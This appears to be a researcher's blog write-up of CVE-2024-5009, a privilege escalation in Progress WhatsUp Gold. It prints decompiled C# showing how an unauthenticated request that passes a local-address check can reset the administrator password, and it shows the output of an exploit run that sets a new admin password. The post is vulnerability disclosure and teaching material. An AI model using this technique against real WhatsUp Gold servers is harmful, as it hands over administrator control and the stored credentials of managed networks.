WhatsUp Gold SetAdminPassword Privilege Escalation
CVE-2024-5009
TLDR
Well this writeup is already quite easy, I don’t think it needs a TLDR, I noticed this bug exist in 4 minutes and then it took me 2 more minuts to test it, however, it doesn’t matter, a bug is a bug and I like technical details no matter how complex or how easy it is.
Introduction (yet another TLDR)
Here we go, April 24th I reported a privilege escalation against the latest version of progress whatsup gold. July 3rd the good folks of ZDI published the related advisory.
What is WhatsUp Gold
At the time, one of many definitions for this product on the vendor’s website is:
WhatsUp Gold provides complete visibility into the status and performance of applications, network devices and servers in the cloud or on-premises.
but I describe this as a legitimate C2 where you can manage all sorts of victims I mean end-users and have their credentials stored in this software to manage them remotely, for example:
- you can store the SMB creds that will be used to run powershell commands on any end-user computer machine you want
- you can store SSH creds to execute any command you want
- you can store Cisco switches/routers creds to run management commands remotely
- you can, you get the idea
there are multiple purposes for all of this is one is to be able to collect performance information from these endpoints apparently the other is to manage them remotely or as I’d like to say execute commands remotely, here we care about the exploitation and so that’s good enough information to know what things someone might be able to have once this software is popped which probably is your entire network of users/machines/switches/routers that you have added to this software.
Advanced .NET Exploitation
sponsor of today’s PoC drop is me, if you had a hard time understanding this blog post but like to learn about .NET Exploitation, I have recently made my Advanced .NET Exploitation Training public, sign up and let me teach you all you need about .net related vulnerabilities, things like reverse engineering .net targets, crafting deserialization exploits, finding gadgets, mapping out complicated attack surfaces, and how to pop shellz on .net targets, from basic to advanced, I got you ^_^
The Vulnerability
Following method is part of the MVC architecture of Whatsup gold, it expects one argument of type SetPasswordViewModel
, once recived it will first (line 2) make a call to this.isWugServer()
method, and if the result of the call is false
then line (4) is executed to send a redirect to the login page.
Next, at line (9) the IsValid
property of the base.ModelState
is validated, this flag is set in case the passed model
argument to this controller was correct, and i fso, then line (11) will retrieve a handle to the administrator user of the current whatsup gold installation instance and at line (12) it will overwrite the password of this user to the value provided via model.Password
Finally at line (15) a new cookie is issued and returned which will contain a valid session as the current administrator
lets investigate how does this.isWugServer
work
public ActionResult SetAdminPassword(SetPasswordViewModel model)
1: {
2: if (!this.isWugServer())
3: {
4: return base.RedirectToAction("Login", "User", new
5: {
6: area = ""
7: });
8: }
9: if (base.ModelState.IsValid)
10: {
11: string adminUserName = this.config.GetAdminUserName();
12: this.currentUser.SetAdminPassword(model.Password);
13: string text;
14: DependencyResolverExtensions.GetService<IUserService>(DependencyResolver.Current).ValidateUser(ref adminUserName, model.Password, ref text);
15: FormsAuthentication.SetAuthCookie(adminUserName, false);
16: base.Response.Cookies.Add(new HttpCookie("loggedInAt", DateTime.Now.ToString()));
17: this.ins.InstallStep = InstallStep.Finished;
18: return base.RedirectToAction("Index", "Home", new
19: {
20: area = ""
21: });
22: }
23: if (InstallController.<>o__8.<>p__0 == null)
24: {
25: InstallController.<>o__8.<>p__0 = CallSite<Func<CallSite, object, string, object>>.Create(Binder.SetMember(CSharpBinderFlags.None, "adminUserName", typeof(InstallController), new CSharpArgumentInfo[]
26: {
27: CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.None, null),
28: CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.UseCompileTimeType, null)
29: }));
30: }
31: InstallController.<>o__8.<>p__0.Target(InstallController.<>o__8.<>p__0, base.ViewBag, this.config.GetAdminUserName());
32: return base.View();
33: }
The Wug.UI.Controllers.InstallController.isWugServer
is a private method returning a bool
which will simply retrieve the REMOTE_ADDR
value of the current request that is populated inside base.Request.ServerVariables
and calls the WUGHostInfo.IsAddressLocal
method, lets investigate
1: private bool isWugServer()
2: {
3: return WUGHostInfo.IsAddressLocal(base.Request.ServerVariables["REMOTE_ADDR"]);
4: }
The WhatsUp.WUGHostInfo.IsAddressLocal
method uses the ipAddress
argument at line (2) and comapres it to make sure the request is originating from localhost, if this condition fails then the foreach
loop at line (8) is executed which will retrieve all the current machine network interfaces and makes sure they are active (line 10) and if so it will compare the ipAddress
to the enumerator.Current.Address
property (16) if a condition is satisfied true
is returned, and if not, false
is the answer
public static bool IsAddressLocal(string ipAddress)
1: {
2: if (ipAddress == "127.0.0.1" || ipAddress == "::1")
3: {
4: return true;
5: }
6: try
7: {
8: foreach (NetworkInterface networkInterface in NetworkInterface.GetAllNetworkInterfaces())
9: {
10: if (networkInterface.OperationalStatus == OperationalStatus.Up)
11: {
12: using (IEnumerator<UnicastIPAddressInformation> enumerator = networkInterface.GetIPProperties().UnicastAddresses.GetEnumerator())
13: {
14: while (enumerator.MoveNext())
15: {
16: if (enumerator.Current.Address.ToString() == ipAddress)
17: {
18: return true;
19: }
20: }
21: }
22: }
23: }
24: }
25: catch (Exception)
26: {
27: return false;
28: }
29: return false;
30: }
so now we understand that this controller is available only locally (or is it?), this allows a local attacker to escalate their privileges by overwriting the administrator password, by the way, did I mention this is reachable unauthenticated as well? well it is
Proof of Concept
you can find the exploit at the following github repository
python3 CVE-2024-5009.py --target https://192.168.0.231/
_______ _ _ _______ _______ _____ __ _ _____ __ _ ______ _______ _______ _______ _______
|______ | | | | | | | | | | | \ | | | \ | | ____ | |______ |_____| | | |
______| |_____| | | | | | | |_____| | \_| __|__ | \_| |_____| . | |______ | | | | |
(*) Progress WhatsUp Gold SetAdminPassword Privilege Escalation (CVE-2024-5009)
(*) Exploit by Sina Kheirkhah (@SinSinology) of SummoningTeam (@SummoningTeam)
(*) Technical details: https://summoning.team/blog/progress-whatsup-gold-privesc-setadminpassword-cve-2024-5009/
(^_^) Prepare for the Pwnage (^_^)
(*) Generated random password is: e9513bc41e2a9acf
(*) Escalating...
(+) Escalation done, new admin password is: e9513bc41e2a9acf
now lets try logging in with admin:e9513bc41e2a9acf
done ^_^
ZERO DAY INITIATIVE
If it wasn’t because of the talented team working at the Zero Day Initiative, I wouldn’t bother researching Progress at all, shout out to all of you people working there to make the internet safer.